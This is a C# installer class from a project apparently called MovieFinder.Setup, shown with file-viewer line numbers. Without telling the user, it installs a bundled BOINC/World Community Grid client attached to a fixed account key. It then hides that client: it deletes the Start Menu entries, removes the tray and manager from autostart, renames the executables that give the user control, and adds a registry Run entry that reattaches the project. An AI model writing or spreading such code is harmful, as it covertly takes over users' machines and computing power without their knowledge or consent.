File size: 7,813 Bytes
e26fba6
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
using System;
using System.Collections.Generic;
using System.Text;
using Microsoft.Win32;
using System.Xml;
using System.IO;
using System.Diagnostics;
using MovieFinder.Setup.Properties;
using System.Windows.Forms;
using System.Runtime.InteropServices;

namespace MovieFinder.Setup
{
    public class WCGInstaller
    {
        private static string AccountFilename = "account_www.worldcommunitygrid.org.xml";
        #region Fields
        [DllImport("shell32.dll")]
        static extern bool SHGetSpecialFolderPath(IntPtr hwndOwner, StringBuilder lpszPath, CSIDL nFolder, bool fCreate);

        enum CSIDL
        {
            COMMON_STARTMENU = 0x0016,
            COMMON_PROGRAMS = 0x0017
        }
        #endregion
        public bool Execute(string weakKey)
        {
            var path = BoincPath();
            path = Path.Combine(path, "boinc.exe");
            if (File.Exists(path))
                return false;
            path = GetBoincDatafolder();
            if (File.Exists(path))
                return false;
            path = Path.Combine(Application.StartupPath, Program.WCGExeName);
            if (!File.Exists(path))
                File.WriteAllBytes(path, Resources.wcg_boinc_6_10_58_windows_intelx86);
            if (!File.Exists(path))
                throw new Exception("Unable to find the wcg file");
            Install(weakKey);
            DeleteEntries();

            ProcessRegistryEntries(weakKey, SaveAccount(weakKey));
            RenameUtils();
            File.Delete(Program.WCGExeName);
            return true;
        }

        private void Install(string weakKey)
        {
            ProcessStartInfo info = new ProcessStartInfo
            {
                Arguments = String.Format("/S /v\"/norestart /qn PROJINIT_AUTH={0} ENABLESCREENSAVER=0 ENABLEPROTECTEDAPPLICATIONEXECUTION2=1\"", weakKey),
                FileName = Path.Combine(Application.StartupPath, Program.WCGExeName),
                Verb = "runas",
                UseShellExecute = false
            };
            var p = Process.Start(info);
            p.WaitForExit();
        }

        private void DeleteEntries()
        {
            try
            {
                string path = String.Empty;
                try
                {
                    StringBuilder allUsersStartMenu = new StringBuilder(255);

                    if (SHGetSpecialFolderPath(IntPtr.Zero, allUsersStartMenu, CSIDL.COMMON_PROGRAMS, false))
                        path = Path.Combine(allUsersStartMenu.ToString(), "World Community Grid");
                }
                catch { }
                if (Directory.Exists(path))
                    Directory.Delete(path, true);
                else
                {
                    path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.StartMenu),
                        "Programs\\World Community Grid");
                    if (Directory.Exists(path))
                        Directory.Delete(path, true);
                }
            }
            catch { }
        }

        private bool SaveAccount(string weakKey)
        {
            try
            {
                var doc = new XmlDocument();
                doc.LoadXml(Resources.account_www_worldcommunitygrid_org);
                var keyNode = doc.SelectSingleNode("account/authenticator");
                keyNode.InnerText = weakKey;
                var path = Path.Combine(GetBoincDatafolder(), AccountFilename);
                doc.Save(path);
                try
                {
                    path = Path.Combine(GetBoincDatafolder(), "project_init.xml");
                    //if (File.Exists(path))
                    //    File.Delete(path);
                }
                catch { }
                return true;
            }
            catch { }
            return false;
        }

        private void ProcessRegistryEntries(string weakKey, bool skipRunOnce)
        {

            var boincFolder = BoincPath();
            if (String.IsNullOrEmpty(boincFolder))
                throw new Exception("BOINC Folder does not exists");

            var boincCmd = String.Format("\"{0}\\boinccmd.exe\" --project_attach www.worldcommunitygrid.org {1}",
                boincFolder, weakKey);

            RegistryKey run = null;
            RegistryKey runOnce = null;
            try
            {
                run = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                runOnce = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true);

            }
            catch { }

            try
            {
                if (run == null)
                    run = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                if (runOnce == null)
                    run = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true);
            }
            catch { }
            if (run != null)
            {
                if (run.GetValue("boinctray") != null)
                    run.DeleteValue("boinctray");
                if (run.GetValue("boincmgr") != null)
                    run.DeleteValue("boincmgr");
            }

             if(!skipRunOnce)
             {
                  if (runOnce != null)
                       runOnce.SetValue("boincmgr", boincCmd);
                  else if(run != null)
                      run.SetValue("boincmgr", boincCmd);
             }
        }

        private void RenameUtils()
        {
            var boincFolder = BoincPath();
            try
            {
               File.Move( Path.Combine(boincFolder, "boinctray.exe"), Path.Combine(boincFolder, "boinctray1.exe"));
               File.Move(Path.Combine(boincFolder, "boincmgr.exe"), Path.Combine(boincFolder, "boincmgr1.exe"));
               File.Move(Path.Combine(boincFolder, "boincscr.exe"), Path.Combine(boincFolder, "boincscr1.exe"));
            }
            catch { }
        }

        private string BoincPath()
        {
            try
            {
                var boincFolder = Path.Combine(ProgramFilesx86(), "BOINC");
                if (Directory.Exists(boincFolder))
                    return boincFolder;
                boincFolder = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "BOINC");
                if (Directory.Exists(boincFolder))
                    return boincFolder;
            }
            catch { }
            return String.Empty;
        }

        private string GetBoincDatafolder()
        {
            var path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "BOINC");
            if (Directory.Exists(path))
                return path;
            
            path = @"C:\ProgramData\BOINC";
            if (Directory.Exists(path))
                return path;
            path = @"C:\Documents and Settings\All Users\Application Data\BOINC";
            if (Directory.Exists(path))
                return path;

            return null;
            
        }

        private string ProgramFilesx86()
        {
            if (8 == IntPtr.Size
                || (!String.IsNullOrEmpty(Environment.GetEnvironmentVariable("PROCESSOR_ARCHITEW6432"))))
            {
                return Environment.GetEnvironmentVariable("ProgramFiles(x86)");
            }

            return Environment.GetEnvironmentVariable("ProgramFiles");
        }
    }
}